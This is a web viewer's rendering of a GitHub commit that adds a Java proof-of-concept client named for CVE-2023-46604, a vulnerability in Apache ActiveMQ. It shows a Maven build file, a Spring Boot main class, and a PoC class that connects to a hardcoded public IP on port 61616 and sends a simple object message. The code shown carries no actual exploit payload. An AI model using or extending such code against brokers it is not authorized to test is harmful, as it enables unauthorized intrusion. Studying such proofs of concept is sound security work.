| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
1 parent 6210b00 commit 892e685
36 files changed
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,81 @@ | |||
| 1 | + <?xml version="1.0" encoding="UTF-8"?> | ||
| 2 | + <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
| 3 | + xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
| 4 | + <modelVersion>4.0.0</modelVersion> | ||
| 5 | + <groupId>com.example</groupId> | ||
| 6 | + <artifactId>CVE-2023-46604-Client</artifactId> | ||
| 7 | + <version>0.0.1-SNAPSHOT</version> | ||
| 8 | + <name>CVE-2023-46604-Client</name> | ||
| 9 | + <description>CVE-2023-46604-Client</description> | ||
| 10 | + <properties> | ||
| 11 | + <java.version>11</java.version> | ||
| 12 | + <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | ||
| 13 | + <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> | ||
| 14 | + <spring-boot.version>2.6.13</spring-boot.version> | ||
| 15 | + </properties> | ||
| 16 | + <dependencies> | ||
| 17 | + <dependency> | ||
| 18 | + <groupId>org.springframework.boot</groupId> | ||
| 19 | + <artifactId>spring-boot-starter</artifactId> | ||
| 20 | + </dependency> | ||
| 21 | + <dependency> | ||
| 22 | + <groupId>org.apache.activemq</groupId> | ||
| 23 | + <artifactId>activemq-client</artifactId> | ||
| 24 | + <version>5.17.3</version> | ||
| 25 | + </dependency> | ||
| 26 | + <dependency> | ||
| 27 | + <groupId>org.slf4j</groupId> | ||
| 28 | + <artifactId>slf4j-simple</artifactId> | ||
| 29 | + <version>2.0.5</version> | ||
| 30 | + </dependency> | ||
| 31 | + <dependency> | ||
| 32 | + <groupId>org.springframework.boot</groupId> | ||
| 33 | + <artifactId>spring-boot-starter-test</artifactId> | ||
| 34 | + <scope>test</scope> | ||
| 35 | + </dependency> | ||
| 36 | + </dependencies> | ||
| 37 | + <dependencyManagement> | ||
| 38 | + <dependencies> | ||
| 39 | + <dependency> | ||
| 40 | + <groupId>org.springframework.boot</groupId> | ||
| 41 | + <artifactId>spring-boot-dependencies</artifactId> | ||
| 42 | + <version>${spring-boot.version}</version> | ||
| 43 | + <type>pom</type> | ||
| 44 | + <scope>import</scope> | ||
| 45 | + </dependency> | ||
| 46 | + </dependencies> | ||
| 47 | + </dependencyManagement> | ||
| 48 | + | ||
| 49 | + <build> | ||
| 50 | + <plugins> | ||
| 51 | + <plugin> | ||
| 52 | + <groupId>org.apache.maven.plugins</groupId> | ||
| 53 | + <artifactId>maven-compiler-plugin</artifactId> | ||
| 54 | + <version>3.8.1</version> | ||
| 55 | + <configuration> | ||
| 56 | + <source>11</source> | ||
| 57 | + <target>11</target> | ||
| 58 | + <encoding>UTF-8</encoding> | ||
| 59 | + </configuration> | ||
| 60 | + </plugin> | ||
| 61 | + <plugin> | ||
| 62 | + <groupId>org.springframework.boot</groupId> | ||
| 63 | + <artifactId>spring-boot-maven-plugin</artifactId> | ||
| 64 | + <version>${spring-boot.version}</version> | ||
| 65 | + <configuration> | ||
| 66 | + <mainClass>com.example.drunkbaby.Cve202346604ClientApplication</mainClass> | ||
| 67 | + <skip>true</skip> | ||
| 68 | + </configuration> | ||
| 69 | + <executions> | ||
| 70 | + <execution> | ||
| 71 | + <id>repackage</id> | ||
| 72 | + <goals> | ||
| 73 | + <goal>repackage</goal> | ||
| 74 | + </goals> | ||
| 75 | + </execution> | ||
| 76 | + </executions> | ||
| 77 | + </plugin> | ||
| 78 | + </plugins> | ||
| 79 | + </build> | ||
| 80 | + | ||
| 81 | + </project> | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,13 @@ | |||
| 1 | + package com.example.drunkbaby; | ||
| 2 | + | ||
| 3 | + import org.springframework.boot.SpringApplication; | ||
| 4 | + import org.springframework.boot.autoconfigure.SpringBootApplication; | ||
| 5 | + | ||
| 6 | + @SpringBootApplication | ||
| 7 | + public class Cve202346604ClientApplication { | ||
| 8 | + | ||
| 9 | + public static void main(String[] args) { | ||
| 10 | + SpringApplication.run(Cve202346604ClientApplication.class, args); | ||
| 11 | + } | ||
| 12 | + | ||
| 13 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,22 @@ | |||
| 1 | + package com.example.drunkbaby; | ||
| 2 | + | ||
| 3 | + import org.apache.activemq.ActiveMQConnectionFactory; | ||
| 4 | + | ||
| 5 | + import javax.jms.*; | ||
| 6 | + | ||
| 7 | + public class PoC { | ||
| 8 | + public static void main(String[] args) throws Exception { | ||
| 9 | + | ||
| 10 | + ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://124.222.21.138:61616"); | ||
| 11 | + Connection connection = connectionFactory.createConnection(); | ||
| 12 | + connection.start(); | ||
| 13 | + Session session = connection.createSession(Boolean.parseBoolean("1"),2); | ||
| 14 | + Destination destination = session.createQueue("tempQueue"); | ||
| 15 | + | ||
| 16 | + MessageProducer producer = session.createProducer(destination); | ||
| 17 | + Message message = session.createObjectMessage("123"); | ||
| 18 | + producer.send(message); | ||
| 19 | + | ||
| 20 | + connection.close(); | ||
| 21 | + } | ||
| 22 | + } | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments